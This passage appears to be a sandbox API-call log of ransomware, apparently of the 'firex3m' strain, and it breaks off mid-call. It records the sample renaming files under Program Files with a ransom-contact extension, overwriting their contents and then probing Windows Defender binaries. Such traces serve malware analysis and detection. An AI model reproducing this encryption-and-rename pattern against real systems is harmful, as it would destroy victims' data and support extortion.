SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.997] ReadFile (in: hFile=0x4b8, lpBuffer=0x706cf78, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x706cf78*, lpNumberOfBytesRead=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0212.874] GetProcessHeap () returned 0x630000 [0212.874] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0212.874] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.874] WriteFile (in: hFile=0x4b8, lpBuffer=0x70c30a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c30a8*, lpNumberOfBytesWritten=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0212.875] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.875] WriteFile (in: hFile=0x4b8, lpBuffer=0x70ce4a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ce4a7*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0212.878] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.878] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0212.878] CloseHandle (hObject=0x4b8) returned 1 [0212.878] GetProcessHeap () returned 0x630000 [0212.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c30a8 | out: hHeap=0x630000) returned 1 [0212.878] GetProcessHeap () returned 0x630000 [0212.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706cf78 | out: hHeap=0x630000) returned 1 [0212.878] GetProcessHeap () returned 0x630000 [0212.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0212.878] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0212.878] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44d45f09, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x120edc, dwReserved0=0xb247496, dwReserved1=0x706cf70, cFileName="METCONV.TXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="METCON~1.FIR")) returned 0x6d5200 [0212.878] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0212.879] Sleep (dwMilliseconds=0x1) [0214.869] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\mscomct2.ocx", len=0x41 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\mscomct2.ocx") returned 1 [0214.869] GetProcessHeap () returned 0x630000 [0214.869] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4f30) returned 0x7128660 [0214.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\mscomct2.ocx" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\systemx86\\mscomct2.ocx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0214.870] CloseHandle (hObject=0x6d0) returned 1 [0214.870] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0214.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\mscomct2.ocx" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\systemx86\\mscomct2.ocx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\mscomct2.ocx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\systemx86\\mscomct2.ocx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0214.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0214.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\mscomct2.ocx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b6194c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c2c3dcb, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0xa1880, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscomct2.ocx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSCOMC~1.FIR")) returned 0x6d4f80 [0214.873] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0214.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\mscomct2.ocx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\systemx86\\mscomct2.ocx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0214.873] GetProcessHeap () returned 0x630000 [0214.873] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7247db0 [0214.873] GetProcessHeap () returned 0x630000 [0214.873] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0214.873] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.873] ReadFile (in: hFile=0x6d0, lpBuffer=0x7247db0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesRead=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0221.323] GetProcessHeap () returned 0x630000 [0221.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0221.324] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.324] WriteFile (in: hFile=0x6d0, lpBuffer=0x6f06978*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesWritten=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0221.324] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.324] WriteFile (in: hFile=0x6d0, lpBuffer=0x6f11d77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11d77*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0221.326] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.326] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0221.326] CloseHandle (hObject=0x6d0) returned 1 [0221.326] GetProcessHeap () returned 0x630000 [0221.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0221.326] GetProcessHeap () returned 0x630000 [0221.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0221.326] GetProcessHeap () returned 0x630000 [0221.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0221.327] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.327] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\mscomct2.ocx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b6194c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x49df02eb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa18a4, dwReserved0=0xb247496, dwReserved1=0x7247da8, cFileName="mscomct2.ocx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSCOMC~1.FIR")) returned 0x6d5200 [0221.327] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0221.327] Sleep (dwMilliseconds=0x1) [0221.346] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x40bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgrade.xml") returned 1 [0221.346] GetProcessHeap () returned 0x630000 [0221.346] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50e8) returned 0x6fe3bb0 [0221.346] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0221.347] CloseHandle (hObject=0x6d0) returned 1 [0221.347] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.347] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.349] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.349] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5340 [0221.349] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0221.349] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0221.349] GetProcessHeap () returned 0x630000 [0221.349] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d8480 [0221.349] GetProcessHeap () returned 0x630000 [0221.349] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d81f8 [0221.349] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.349] ReadFile (in: hFile=0x6d0, lpBuffer=0x6d8480, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8480*, lpNumberOfBytesRead=0x40bff0c*=0x240, lpOverlapped=0x0) returned 1 [0221.353] GetProcessHeap () returned 0x630000 [0221.353] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0221.353] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.353] WriteFile (in: hFile=0x6d0, lpBuffer=0x6d81f8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d81f8*, lpNumberOfBytesWritten=0x40bff0c*=0x240, lpOverlapped=0x0) returned 1 [0221.353] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.353] WriteFile (in: hFile=0x6d0, lpBuffer=0x6d8437*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8437*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0221.353] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.353] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0221.354] CloseHandle (hObject=0x6d0) returned 1 [0221.354] GetProcessHeap () returned 0x630000 [0221.354] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d81f8 | out: hHeap=0x630000) returned 1 [0221.354] GetProcessHeap () returned 0x630000 [0221.354] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d8480 | out: hHeap=0x630000) returned 1 [0221.354] GetProcessHeap () returned 0x630000 [0221.354] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0221.354] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49e3c6e7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x40bfd20, dwReserved1=0x6d8480, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d53c0 [0221.354] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0221.354] Sleep (dwMilliseconds=0x1) [0221.370] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\index.html", len=0x6f | out: pbstr=0x40bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\index.html") returned 1 [0221.370] GetProcessHeap () returned 0x630000 [0221.370] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50e4) returned 0x6fe3bb0 [0221.370] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0221.370] CloseHandle (hObject=0x6d0) returned 1 [0221.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.371] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.372] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.372] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5280 [0221.372] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0221.372] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0221.372] GetProcessHeap () returned 0x630000 [0221.372] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ca1) returned 0x7453008 [0221.372] GetProcessHeap () returned 0x630000 [0221.372] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ca1) returned 0x7247db0 [0221.372] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.372] ReadFile (in: hFile=0x6d0, lpBuffer=0x7453008, nNumberOfBytesToRead=0x9c80, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453008*, lpNumberOfBytesRead=0x40bff0c*=0x9c80, lpOverlapped=0x0) returned 1 [0224.598] GetProcessHeap () returned 0x630000 [0224.598] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71768e0 [0224.598] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.598] WriteFile (in: hFile=0x6d0, lpBuffer=0x7247db0*, nNumberOfBytesToWrite=0x9c80, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesWritten=0x40bff0c*=0x9c80, lpOverlapped=0x0) returned 1 [0225.287] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.288] WriteFile (in: hFile=0x6d0, lpBuffer=0x7251a2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7251a2f*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.749] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.749] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.749] CloseHandle (hObject=0x6d0) returned 1 [0225.749] GetProcessHeap () returned 0x630000 [0225.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0225.749] GetProcessHeap () returned 0x630000 [0225.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453008 | out: hHeap=0x630000) returned 1 [0225.749] GetProcessHeap () returned 0x630000 [0225.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71768e0 | out: hHeap=0x630000) returned 1 [0226.659] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.659] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c81c0c0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9cbf, dwReserved0=0xb247496, dwReserved1=0x7453000, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5200 [0226.659] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0226.659] Sleep (dwMilliseconds=0x1) [0226.669] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseCncProxy.exe", len=0x4e | out: pbstr=0x40bff7c*="C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseCncProxy.exe") returned 1 [0226.669] GetProcessHeap () returned 0x630000 [0226.669] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x520c) returned 0x6fe3bb0 [0226.670] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseCncProxy.exe" (normalized: "c:\\program files\\windows defender advanced threat protection\\sensecncproxy.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.670] Sleep (dwMilliseconds=0x1) [0226.683] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\MSASCui.exe", len=0x2d | out: pbstr=0x40bff7c*="C:\\Program Files\\Windows Defender\\MSASCui.exe") returned 1 [0226.683] GetProcessHeap () returned 0x630000 [0226.683] RtlReAllocateHeap 